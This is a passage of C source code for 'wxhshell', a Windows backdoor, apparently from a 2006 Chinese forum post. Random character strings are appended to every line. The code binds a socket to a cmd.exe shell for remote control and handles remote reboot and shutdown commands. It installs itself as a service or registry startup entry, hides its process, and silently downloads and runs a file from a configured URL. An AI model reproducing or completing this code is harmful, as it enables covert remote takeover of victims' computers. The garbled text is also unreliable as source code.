    switch(cmd[0]) { Z@M6!;y#  
  \fi}Q\|C  
  // 帮助 <5IQc[3]aP  
  case '?': { i}lRIXjdV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >];"N{ A  
    break; S>t>6&A  
  } OZOb1D  
  // 安装 niWx^gKb$  
  case 'i': { Pm?B 9S  
    if(Install()) T*+A.G@L"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eY}V9*.v  
    else wS$46M<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >| m.?{^  
    break; fp;a5||5  
    } bE I!Ja  
  // 卸载 s MZ[d\  
  case 'r': { mH\@QdF  
    if(Uninstall()) BS2?!;,8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N!c gN  
    else iN)af5)[^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2f..sNz  
    break; z<<Tk.65  
    } %VJW@S>j/  
  // 显示 wxhshell 所在路径 sfI N)jh  
  case 'p': { 3.),bm  
    char svExeFile[MAX_PATH]; - _t&+5]  
    strcpy(svExeFile,"\n\r"); RL&lKHA  
      strcat(svExeFile,ExeFile); } 0{B  
        send(wsh,svExeFile,strlen(svExeFile),0); ~gddcTp  
    break; k ,fTW^?  
    } i!,HB|wQ  
  // 重启 Ekjf^Uo  
  case 'b': { _B$"e[:yX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =bL{i&&  
    if(Boot(REBOOT)) . #U}q 7X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0p3vE,pF  
    else { '{VM> Q  
    closesocket(wsh); ea~i-7  
    ExitThread(0); d+5:Qrr  
    } Kz[BB@[  
    break; -9-fX(I  
    } 'C~9]Y].  
  // 关机 j)L1H* S%  
  case 'd': { X4Xf2aXI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j-32S!  
    if(Boot(SHUTDOWN)) 6?o>{e7n^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6mHhC?  
    else { asz?p\k:bC  
    closesocket(wsh); }\Z5{OA  
    ExitThread(0); aYVDp{_  
    } eqhAus?)  
    break; o](.368+4  
    } ps+:</;Z  
  // 获取shell )4uq iA6  
  case 's': { y<M]dd$  
    CmdShell(wsh); q%S8\bt  
    closesocket(wsh); !<r8~A3!(  
    ExitThread(0); [H^ X"D  
    break; _}ele+  
  } {D,RU8&  
  // 退出 l%<c6;  
  case 'x': { N-QCfDao  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `~nCbUUee  
    CloseIt(wsh); =]b9X7}  
    break; gZ`DT  
    } `bqzg  
  // 离开 7$_ :sJ  
  case 'q': { 7I3:u+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Jck"Ks  
    closesocket(wsh); kl<g;3  
    WSACleanup(); ) ,Npv3(  
    exit(1); ?Aw3lH#:  
    break; Qlh?iA  
        } $G3@< BIN  
  } f3n~{a,[  
  } u[EK#%  
7K:FeW'N  
  // 提示信息 -tyaE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r*Z_+a8  
} ? s4oDi|:  
  } <Uwwux<v  
U>A6eWhH  
  return; ImHU:iR[J-  
} r|-J8s#  
a8QfkOe  
// shell模块句柄 G_(ct5:_"!  
int CmdShell(SOCKET sock) @C_ =*  
{ 2sun=3qb  
STARTUPINFO si; 4Py3I9  
ZeroMemory(&si,sizeof(si)); D|TR!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hirr=a3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wY`#$)O0*  
PROCESS_INFORMATION ProcessInfo; ZIW7_Y>_  
char cmdline[]="cmd"; K~@`o-Z[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O 6]u!NqG  
  return 0; ]_ #SAhOR)  
} gh61H:tkR  
^A#x<J+  
// 自身启动模式 !gJzg*{u@  
int StartFromService(void) T#r=<YH[C  
{ {(0Id!  
typedef struct +XQP jg  
{ tqhh<u;  
  DWORD ExitStatus; ]}~4J.Yn  
  DWORD PebBaseAddress; EL +,jrU~  
  DWORD AffinityMask; |^!Vo&T  
  DWORD BasePriority; acae=c|X  
  ULONG UniqueProcessId; xVTo4-[p  
  ULONG InheritedFromUniqueProcessId; )Ga8`t"  
}   PROCESS_BASIC_INFORMATION; e^WqJ7j  
=mLeMk/7 w  
PROCNTQSIP NtQueryInformationProcess; +f]u5p[  
qK-qcPLsl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L!vWRwZwC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W0?JVtq0Z  
|*1xrM:v~  
  HANDLE             hProcess; %I}'Vb{C  
  PROCESS_BASIC_INFORMATION pbi; >#?iO]).  
Om6Mmoqh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); niAZ$w  
  if(NULL == hInst ) return 0; WKOI\  
#G~wE*VR$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RNe9h lr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Gym#b{#":  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZQ|gt*  
`#p< rfe  
  if (!NtQueryInformationProcess) return 0; z L8J`W  
h[y*CzG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e# <4/FR  
  if(!hProcess) return 0; )w3 ,   
D}Au6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QH:>jmC{1h  
W1`Dx(g  
  CloseHandle(hProcess); 4v>o%  
$>![wZ3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SdSgn|S  
if(hProcess==NULL) return 0; Q[jI=$Q)  
R. O  
HMODULE hMod; ,3k@L\$.x  
char procName[255]; 0}D-KvjyP  
unsigned long cbNeeded; 4uPH  
H7}g!n?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L9$&-A9ix  
T?#s'd  
  CloseHandle(hProcess); nfa_8  
'(TmV#3  
if(strstr(procName,"services")) return 1; // 以服务启动 [\a:4vDAbi  
cB<O.@  
  return 0; // 注册表启动 |zh +  
} |+u+)C  
"&Gw1.p  
// 主模块 A`IHP{aB  
int StartWxhshell(LPSTR lpCmdLine) \*Ts)EW  
{  M$F{N  
  SOCKET wsl; L7<+LA)s0  
BOOL val=TRUE; r(]98a]o~  
  int port=0; _tA7=*@8  
  struct sockaddr_in door; %6N)G!P  
S7Znz@  
  if(wscfg.ws_autoins) Install(); blUY.{NN3  
l\_x(BH  
port=atoi(lpCmdLine); m^'~&!ba  
o:H'r7N  
if(port<=0) port=wscfg.ws_port; 5 >'66gZ  
]I8]mUiUH  
  WSADATA data; NtqFnxm/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &jt02+Hj'  
1*L^^% w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3`x sK[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jmSt?M0.xV  
  door.sin_family = AF_INET; z+ uL "PG[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }'PG!+=I  
  door.sin_port = htons(port); Etw~*  
& \JLTw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MCM/=M'y  
closesocket(wsl); O/(3 87=U  
return 1; k{_1r;  
} \zBd<H4S:  
ftxTX3X  
  if(listen(wsl,2) == INVALID_SOCKET) { z}iSq$  
closesocket(wsl); Bj; [  
return 1;  8>ESD}(  
} xC'mPcU8  
  Wxhshell(wsl); q)vK`\Y  
  WSACleanup(); )sRN!~  
(v]P<3%  
return 0; U&`6&$]  
ijE<spG  
} CcBQo8!G  
 ccRlql(  
// 以NT服务方式启动 )4@M`8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J`4Z<b53  
{ Y$>+U  
DWORD   status = 0; ?n2C  
  DWORD   specificError = 0xfffffff; ES^NBI j5P  
E N)YoVk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KuIkul9^%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d8 rBu jT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GI}4,!^N  
  serviceStatus.dwWin32ExitCode     = 0; SwyaYK  
  serviceStatus.dwServiceSpecificExitCode = 0; K *TnUQ  
  serviceStatus.dwCheckPoint       = 0; s;anP0-O  
  serviceStatus.dwWaitHint       = 0; O5u cI$s  
u$apH{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %B[YtWqm`/  
  if (hServiceStatusHandle==0) return; :wFb5"  
,?Ok[G!cm  
status = GetLastError(); TFNUv<>X  
  if (status!=NO_ERROR) j[_t6Z  
{ )uANmThOz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _MGNKA6JI  
    serviceStatus.dwCheckPoint       = 0; ;9}w|!/  
    serviceStatus.dwWaitHint       = 0; _c[|@D  
    serviceStatus.dwWin32ExitCode     = status; 3xRM 1GgO  
    serviceStatus.dwServiceSpecificExitCode = specificError; n/xXQ7y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |!{ z? i  
    return; KrJ5"1=  
  } #c6ui0E%;t  
lq~Gc M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B.V?s,U  
  serviceStatus.dwCheckPoint       = 0; t-'I`I  
  serviceStatus.dwWaitHint       = 0; ,NjX&A@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ${wU+E*  
} 0Ulxp  
5P-K *C&  
// 处理NT服务事件,比如:启动、停止 Y=AH%Gy9 )  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bjuYA/w<  
{ | -JI`!7  
switch(fdwControl) s[Y)d>~\$=  
{ mYntU^4f  
case SERVICE_CONTROL_STOP: _TtX`b_Z  
  serviceStatus.dwWin32ExitCode = 0; -b].SG5S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1R5Yn(  
  serviceStatus.dwCheckPoint   = 0; s.|!Ti!]  
  serviceStatus.dwWaitHint     = 0; xt? 3_?1  
  { AmP#'U5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ue,#, 3{m  
  } -L+\y\F  
  return; rdXCWK$E  
case SERVICE_CONTROL_PAUSE: n;e."^5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;7;zhJs1t  
  break; ?lu_}t]  
case SERVICE_CONTROL_CONTINUE: ,lrYl!,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Tm (Q@  
  break; _Syre6k  
case SERVICE_CONTROL_INTERROGATE: K%98;e9  
  break; FgXu1-  
}; 29&sydu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^wvH,>Yo  
} Gtj (  
CkmlqqUHC  
// 标准应用程序主函数 xR\D(FLV S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z8 hTZU  
{ 99\{!W  
|Dl*w/n  
// 获取操作系统版本 }@3Ud ' Y  
OsIsNt=GetOsVer(); w%>aR_G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5x:Ift *  
MDMtOfe|  
  // 从命令行安装 }v_p gatC  
  if(strpbrk(lpCmdLine,"iI")) Install(); szf"|k!  
Zkf 3t>[  
  // 下载执行文件 *54>iO- c  
if(wscfg.ws_downexe) { ^</65+OT+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r~ZS1Tp  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5F'%i;)oq  
} Yh}zt H  
LEYWH% y  
if(!OsIsNt) { EJ WOXxU  
// 如果时win9x,隐藏进程并且设置为注册表启动  f$:7A0  
HideProc(); _<Hb(z  
StartWxhshell(lpCmdLine); M'pb8jf  
} QH@Q\ @,  
else ..vSL  
  if(StartFromService()) o?:;8]sr!  
  // 以服务方式启动 ;X?Ah  
  StartServiceCtrlDispatcher(DispatchTable); TYs+XJ'Xj  
else ]jHh7> D  
  // 普通方式启动 >wz;}9v  
  StartWxhshell(lpCmdLine); y #hga5  
<;2P._oZ  
return 0; 4yA9Ni  
}
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只看该作者 1 发表于: 2006-10-10
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